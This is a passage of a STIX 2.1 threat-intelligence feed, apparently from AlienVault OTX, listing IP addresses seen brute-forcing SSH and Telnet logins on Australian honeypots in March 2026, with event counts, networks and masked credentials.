      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--a544a7b2-ee0b-4afa-b9b0-23a08673a089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.4.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, d****n, ***. Passwords observed (masked): ***, 7*****1, A*******3, Q******6, W*******5.",
      "id": "indicator--8f7613e1-19b6-4f86-b516-d4825084968a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*********3, 1******4, 2****3, r**t.",
      "id": "indicator--462ca37e-0d1b-40a4-ab8a-788161fcc9ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.252.52.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U********************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1*******9, a***n, p******d, r**t.",
      "id": "indicator--73828e5b-7c60-4510-ab42-a8fa6362a6df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.95.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--0b826901-4858-4187-97dc-65b33c25e571",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.140.180.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--74c03abc-0e0c-4f54-bc62-18feaf3eeecc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.50.0.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:15:13.000Z",
      "valid_until": "2026-04-10T07:15:11.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--23cc52f5-f55c-48d5-807f-d3460e538d35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1bbf2555-4daf-43d6-8f3f-c3d7dcd9ad4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.126.208.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262766. Organisation(s): VITAL NET. Usernames observed (masked): a****r, 3**********4, a***n, a*****r, e****r. Passwords observed (masked): ***, 1**4, 1****6, 1******8, 3***********4.",
      "id": "indicator--79566ace-2cdd-428d-838d-51608082f5eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.94.255.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 31242. Organisation(s): Play. Usernames observed (masked): r**t, 3**********4, a***t, b**t, ***. Passwords observed (masked): 1******8, 1**4, ***, 3***********4, 3**********4.",
      "id": "indicator--406bfb45-56ef-4fc0-b974-c5f5a0b0938e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.106.245.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 140527. Organisation(s): China Telecom. Usernames observed (masked): z**f. Passwords observed (masked): Z*****3.",
      "id": "indicator--e3e2fbfb-9bdc-465a-a09f-543a2c098b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.247.153.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--37eabdae-c25f-488d-b1e8-517384eb3223",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.77.180.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--e7125c83-e7c4-433b-90d7-001727357fbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.78.250.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f2c3b6b6-27bf-45a1-ad1f-cf7b69ba1973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.165.223.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 57. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): C********************e, G************1, G*****************************1. Passwords observed (masked): A****************************e, H**********************3.",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 50360. Organisation(s): Tamatiya EOOD.",
      "id": "indicator--257c6f92-bcb1-423a-8050-08c8ea8b0e73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net.",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:15:13.000Z",
      "valid_until": "2026-04-10T08:15:12.000Z"
    },
    {
      "created": "2026-03-09T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, r**t, 3**********4, c****e, d****y. Passwords observed (masked): 1******8, 1****0, ***, 3***********4, 3**********4.",
      "id": "indicator--14e359bb-a8db-4389-9aa1-0dba2b7fb723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.108.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T09:15:13.000Z",
      "valid_until": "2026-04-10T09:15:11.000Z"
    },
    {
      "created": "2026-03-09T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--df86632d-43c8-489e-aee9-fa64edd4d1c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T09:15:13.000Z",
      "valid_until": "2026-04-10T09:15:11.000Z"
    },
    {
      "created": "2026-03-09T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d1b2a830-ad3e-429b-bf86-c1c4f16e3481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T09:15:13.000Z",
      "valid_until": "2026-04-10T09:15:11.000Z"
    },
    {
      "created": "2026-03-09T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): 3**********4, d*****p, r*****o, a***n, f******l. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, 1***5.",
      "id": "indicator--c64c5ffa-1f56-4df2-bf4d-bf97fabe618a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.253.156.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T09:15:13.000Z",
      "valid_until": "2026-04-10T09:15:11.000Z"
    },
    {
      "created": "2026-03-09T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--18828608-becb-493b-8fad-ea8c3f3bec0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T09:15:13.000Z",
      "valid_until": "2026-04-10T09:15:11.000Z"
    },
    {
      "created": "2026-03-09T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): ***, 3**********4, e****n, i**v, l***g. Passwords observed (masked): 1******8, 3***********4, 3**********4, A********4, P**********4.",
      "id": "indicator--09fa472c-95d1-47d3-8a25-82fdf7dee35f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.153.254.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:15:14.000Z",
      "valid_until": "2026-04-10T10:15:11.000Z"
    },
    {
      "created": "2026-03-09T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:15:14.000Z",
      "valid_until": "2026-04-10T10:15:11.000Z"
    },
    {
      "created": "2026-03-09T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, 3**********4, a****n, f********r, **. Passwords observed (masked): 1******A, 3***********4, 3**********4, A******6, a********s.",
      "id": "indicator--a9714629-0cd4-43c2-9e23-2dcbc1a32197",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.57.63.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:15:14.000Z",
      "valid_until": "2026-04-10T10:15:11.000Z"
    },
    {
      "created": "2026-03-09T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 133199. Organisation(s): SonderCloud Limited.",
      "id": "indicator--ac56d195-e7df-4f12-b4c1-bd81cc3c75e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.119.99.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:15:14.000Z",
      "valid_until": "2026-04-10T10:15:11.000Z"
    },
    {
      "created": "2026-03-09T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--7f7bfc53-6765-441c-9115-8c75be554be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:15:14.000Z",
      "valid_until": "2026-04-10T10:15:11.000Z"
    },
    {
      "created": "2026-03-09T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--6e0b9442-7095-402f-bae7-3f9390349479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:15:14.000Z",
      "valid_until": "2026-04-10T10:15:11.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--be4e074f-6e54-43de-9f99-4aadc0d8ec64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.232.124.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria.",
      "id": "indicator--ae9f033c-a443-4da2-8264-2719c58759b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.250.212.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--2f04636d-b3a5-4511-aaa5-6f305d587080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--1933b1d9-3b9f-4f4f-ad77-72a296ff9a1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.154.69.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--44a387c5-9db8-4562-b602-dafd2cf53daf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.133.4.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
      "labels": [
        "bruteforce"
      ],
